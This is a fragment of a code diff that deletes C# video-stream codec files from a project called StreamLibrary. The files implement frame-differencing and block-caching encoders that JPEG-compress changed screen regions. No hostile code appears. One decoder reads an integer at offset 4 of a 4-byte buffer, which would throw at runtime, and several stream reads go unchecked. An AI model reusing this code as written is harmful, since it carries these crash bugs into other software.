bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
|
||||
byte[] LenTemp = new byte[4];
|
||||
inStream.Read(LenTemp, 0, 4);
|
||||
int DataLength = BitConverter.ToInt32(LenTemp, 0);
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (DataLength > 0)
|
||||
{
|
||||
byte[] temp = new byte[6];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
DataLength -= 6 + temp.Length;
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,374 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
SortedList<int, byte[]> codeCached;
|
||||
SortedList<int, byte[]> decodeCached;
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return codeCached.Count; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
private CRC32 hasher;
|
||||
public int MaxBuffers { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallCachedStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
codeCached = new SortedList<int, byte[]>();
|
||||
decodeCached = new SortedList<int, byte[]>();
|
||||
hasher = new CRC32();
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<CacheInfo> finalUpdates = new List<CacheInfo>();
|
||||
const int CheckHeight = 50;
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
y = Blocks[i].Y;
|
||||
lasty = (Blocks[i].Y + Blocks[i].Height);
|
||||
|
||||
while (y != lasty)
|
||||
{
|
||||
int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight;
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
cBlock = new Rectangle(x, y, s.Width, ScanHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
/*byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/
|
||||
|
||||
//hash it and see if exists in cache
|
||||
hasher = new CRC32(); //re-initialize for seed
|
||||
byte[] tempData = new byte[0];
|
||||
LastFrame.CopyBlock(cBlock, ref tempData);
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0);
|
||||
|
||||
if (codeCached.Count >= MaxBuffers)
|
||||
codeCached.RemoveAt(0);
|
||||
|
||||
if (codeCached.ContainsKey(hash))
|
||||
{
|
||||
CachedSize += (ulong)tempData.Length;
|
||||
finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock));
|
||||
}
|
||||
else
|
||||
{
|
||||
//nothing found in cache let's use the normal way
|
||||
codeCached.Add(hash, tempData);
|
||||
finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock));
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
y += ScanHeight;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
buffer = new byte[0];
|
||||
Rectangle rect = finalUpdates[i].Rect;
|
||||
|
||||
if (!finalUpdates[i].isCached)
|
||||
{
|
||||
fixed (byte* ptr = finalUpdates[i].Data)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 6) + 1;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
List<CacheInfo> cacheInfo = new List<CacheInfo>();
|
||||
byte[] HeaderData = new byte[(4 * 6) + 1];
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
inStream.Read(HeaderData, 0, HeaderData.Length);
|
||||
|
||||
bool isCached = HeaderData[0] == 1;
|
||||
rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5),
|
||||
BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13));
|
||||
int Hash = BitConverter.ToInt32(HeaderData, 17);
|
||||
int UpdateLen = BitConverter.ToInt32(HeaderData, 21);
|
||||
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
//process update data
|
||||
if (isCached)
|
||||
{
|
||||
//data is cached
|
||||
if (decodeCached.ContainsKey(Hash))
|
||||
buffer = decodeCached[Hash];
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect));
|
||||
}
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
if (buffer.Length > 0)
|
||||
{
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
|
||||
tmp.Dispose();
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
}
|
||||
|
||||
if (decodeCached.Count >= MaxBuffers)
|
||||
decodeCached.RemoveAt(0);
|
||||
|
||||
if(!decodeCached.ContainsKey(Hash))
|
||||
this.decodeCached.Add(Hash, buffer);
|
||||
DataSize -= UpdateLen + HeaderData.Length;
|
||||
}
|
||||
|
||||
int CachedSize = 0;
|
||||
foreach(CacheInfo inf in cacheInfo)
|
||||
{
|
||||
CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height;
|
||||
|
||||
|
||||
}
|
||||
Console.WriteLine(cacheInfo.Count + ", " + CachedSize);
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private class CacheInfo
|
||||
{
|
||||
public bool isCached = false;
|
||||
public byte[] Data;
|
||||
public int Hash;
|
||||
public Rectangle Rect;
|
||||
|
||||
public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.isCached = isCached;
|
||||
this.Data = Data;
|
||||
this.Rect = Rect;
|
||||
}
|
||||
|
||||
/*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec)
|
||||
{
|
||||
if (ScanRects.Count > 0)
|
||||
{
|
||||
int scanX = ScanRects[0].X;
|
||||
for (int i = 0; i < ScanRects.Count; i++)
|
||||
{
|
||||
int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width;
|
||||
Rectangle rect = ScanRects[i];
|
||||
rect.Width = scanWidth;
|
||||
rect.X = scanX;
|
||||
byte[] buffer = new byte[0];
|
||||
sBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0);
|
||||
|
||||
if (!HashList.ContainsKey(hash))
|
||||
HashList.Add(hash, rect);
|
||||
|
||||
//fixed (byte* ptr = buffer)
|
||||
//{
|
||||
// using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
// {
|
||||
// buffer = codec.lzwCompression.Compress(TmpBmp);
|
||||
//
|
||||
// }
|
||||
//}
|
||||
|
||||
scanX += scanWidth;
|
||||
}
|
||||
}
|
||||
}*/
|
||||
}
|
||||
}
|
||||
}
|
@ -1,266 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; set; }
|
||||
public SimpleBitmap LastFrame { get; set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of SmallStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public SmallStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(20, 1);
|
||||
}
|
||||
|
||||
private void SetLastFrame(ref Bitmap bmp)
|
||||
{
|
||||
SetLastFrame(new SimpleBitmap(bmp));
|
||||
}
|
||||
private void SetLastFrame(SimpleBitmap bmp)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (LastFrame != null && LastFrame.Locked)
|
||||
LastFrame.Dispose(true);
|
||||
LastFrame = bmp;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Encode the image
|
||||
/// </summary>
|
||||
/// <param name="bitmap">The image you want to encode.</param>
|
||||
/// <param name="outStream">The output stream</param>
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (LastFrame == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
SetLastFrame(ref bitmap);
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (!LastFrame.Locked)
|
||||
LastFrame.Lock();
|
||||
|
||||
sbBmp.Lock();
|
||||
|
||||
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||
{
|
||||
sbBmp.Unlock();
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
int y = 0;
|
||||
int x = 0;
|
||||
|
||||
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = bitmap.Height - lastSize.Height;
|
||||
int lastx = bitmap.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
|
||||
s = new Size(bitmap.Width, s.Height);
|
||||
while (y != bitmap.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(bitmap.Width, lastSize.Height);
|
||||
|
||||
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = 0;
|
||||
while (x != bitmap.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info))
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
sbBmp.CopyBlock(rect, ref buffer);
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
Blocks.Clear();
|
||||
SetLastFrame(sbBmp);
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Decode the video stream
|
||||
/// </summary>
|
||||
/// <param name="inStream">The input stream</param>
|
||||
/// <returns>The image that has been decoded</returns>
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= buffer.Length + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
internal class GridBlock
|
||||
{
|
||||
public Rectangle Rect { get; private set; }
|
||||
public ulong Hash { get; private set; }
|
||||
private GridEncoder encoder;
|
||||
|
||||
public GridBlock(Rectangle Rect, GridEncoder encoder)
|
||||
{
|
||||
this.encoder = encoder;
|
||||
this.Rect = Rect;
|
||||
CalculateHash();
|
||||
}
|
||||
|
||||
public void CalculateHash()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Encoders.GridCoder
|
||||
{
|
||||
public class GridEncoder : IEncoder
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream)
|
||||
{
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,46 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary
|
||||
{
|
||||
public abstract class IEncoder
|
||||
{
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IEncoder(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
|
||||
|
||||
}
|
||||
}
|
@ -1,324 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
